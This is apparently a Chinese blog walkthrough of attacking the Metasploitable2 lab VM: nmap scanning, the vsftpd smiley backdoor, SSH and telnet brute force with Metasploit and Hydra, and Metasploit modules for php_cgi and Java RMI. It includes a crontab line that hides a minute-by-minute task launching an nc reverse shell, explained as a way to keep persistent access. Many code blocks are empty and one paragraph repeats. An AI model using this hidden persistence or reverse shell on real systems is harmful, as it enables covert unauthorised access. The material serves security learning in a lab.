前言
Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统,本身设计作为安全工具测试和演示常见漏洞攻击。这个版本的虚拟系统兼容VMware。当虚拟系统启动之后,使用用户名:msfadmin
和密码msfadmin
登陆 适用于学习网络安全新手学习
参考文章:
- https://blog.csdn.net/Aluxian_/article/details/123355133
- https://blog.csdn.net/qq_53218512/article/details/131013636
- https://blog.csdn.net/m0_72193631/article/details/131145043
一、渗透环境
- 操作机:kali-linux2023-3
- IP:192.168.19.133(随机)
- 靶机:metaspolitable2
- IP:192.168.19.209
二、信息收集
2.1 nmap扫描
1 | #不进行DNS解析的服务版本探测、SYN半开扫描 |
可以看到开放的端口服务还是很多的,应该有很多地方可以探索和学习。
三、漏洞利用
列个漏洞清单:
端口/服务 | 端口/服务 |
---|---|
21 / 弱口令 | 445 / 已测试 |
22 / 弱口令 | 512 / rlogin |
53 - | 1099 / java_rmi_server |
23 /弱口令 | 25 - |
80 - php_cgi | 154 msfable 后门 |
111 - | 2049 / NFS共享漏洞 |
139 / smb | 2121 - |
3306 / 空密码 | 3632 / distcc_exec |
5432 / postgresql | 5900 / VNC |
6000 - | 6667 / unreal_ircd |
6697 / unreal_ircd | 8009- |
8180 / tomcat | 8787 / drb_remote_codeexec |
3.1 21端口vsftpd
版本是2.3.4 可以想到笑脸漏洞后门
方法一: msf中利用脚本运行
1 |
|
方法二:手工激活后门漏洞
在发送的用户名后面加上 “:)”
(笑脸符号),这个版本的后门会在6200端口上打开一个监听的shell。我们可以通过telnet确认或者通过metasploit上面的攻击模块自动攻击
1 | #使用nc连接靶机的21端口(ftp) |
3.2 22端口SSH服务暴力破解
方法一:使用MSF
- 搜索模块
1 | search ssh_login |
配置参数
1
2
3set rhosts 192.168.19.209
set user_file /home/kali/temp/user.txt #设置暴力破解所用的用户名字典
set pass_file /home/kali/temp/pass.txt #设置暴力破解所用的密码字典成功爆破账号密码
方法二:使用Hydra
提示没有匹配的秘钥算法。原因是 Terminal 找不到支持的密钥交换方法,因为新版 Openssh 中认为 SHA1 这种 hash 散列算法过于薄弱,已经不再支持,所以我们需要手动去允许对于 SHA1 的支持。
尝试解决:
解决方案1:连接成功!
1 | ssh -p 22 -oHostKeyAlgorithms=+ssh-dss msfadmin@192.168.19.209 |
解决方案2:
在生成公钥的 ~/.ssh 文件夹下,(如果没有的话)新建一个 config 文件( config 文件没有后缀),文件中添加如下内容:
1 | Host * |
再次尝试连接,失败!
在上述的config文件中加上ssh-dss试试:还是连接失败
可能是没有生成秘钥的原因,生成一对试试:还是连接失败!
总结:优先使用方案一。
创建隐藏任务反弹shell
进入/tmp目录,使用vim命令创建task.sh文件,文件内容为:
1 |
|
命令的意思是:使用bin/bash里面的shell,用nc命令反弹shell,反弹到攻击机的7777端口,-e代表需要执行的指令,这里是要执行/bin/bash。
输入ls -l tash.sh命令,查看文件可执行权限。发现文件权限为:-rw-r–r– ,可读可写,但是没有可执行权限,因此需要添加命令chmod +x tash.sh。
创建create_tash.sh文件,向里面写入如下内容:
1 | (crontab -l;printf “* * * * * /tmp/task.sh;\rno crontw-wab for’whoami’%100c\n”)|crontab - |
命令的意思是:-l 查看计划任务。输出* * * * *,每隔一分钟执行tmp下面的tash.sh文件。\r是换行符。其余后面的参数都是计划任务。
另外,此处也需要添加执行权限,使用命令chmod +x create_task.sh。
尝试nc连接目标主机的shell
重新打开一个终端,输入nc -lvp 7777命令后,等待了很久,发现没有反应,后来发现是没有开启计划任务,于是我们进入上一个终端输入./create_tash.sh命令启动任务计划。最后连接上了靶机。
思考:为什么以及获取到用户名和密码还要创建任务计划反弹shell呢?
为了权限维持,当靶机修改密码或关机后,使用用户名和密码我们会连接不上,而计划任务则可以保持连接
3.3 23端口telnet暴力破解
- 暴力破解telnet
1 | set username msfadmin |
telnet登入靶机
1
telnet 192.16.19.209
3.4 80端口
Apache httpd 2.2.8 ((Ubuntu) DAV/2)
访问80端口发现有几个应用程序
访问phpinfo.php可以得到php配置信息,这里使用了CGI
3.4.1 从CGI切入
- 在MSF搜索到一个php_cgi的攻击模块
尝试攻击,成功拿到meterpreter
1
2set rhosts 192.168.19.209
exploit
3.5 139&445端口Samba共享服务
samba 是基于SMB协议(ServerMessage Block,信息服务块)的开源软件,samba也可以是SMB协议的商标。SMB是一种Linux、UNIX系统上可用于共享文件和打印机等资源的协议,这种协议是基于Client\Server型的协议,Client端可以通过SMB访问到Server(服务器)上的共享资源。当Windows是 Client,CentOS是服务器时,通过Samba就可以实现window访问Linux的资源,实现两个系统间的数据交互。samba 是基于SMB协议(ServerMessage Block,信息服务块)的开源软件,samba也可以是SMB协议的商标。SMB是一种Linux、UNIX系统上可用于共享文件和打印机等资源的协议,这种协议是基于Client\Server型的协议,Client端可以通过SMB访问到Server(服务器)上的共享资源。当Windows是 Client,CentOS是服务器时,通过Samba就可以实现window访问Linux的资源,实现两个系统间的数据交互。
(https://blog.csdn.net/m0_72193631/article/details/131145043)
3.6 1099端口JavaRMI
使用msf一步拿下meterpreter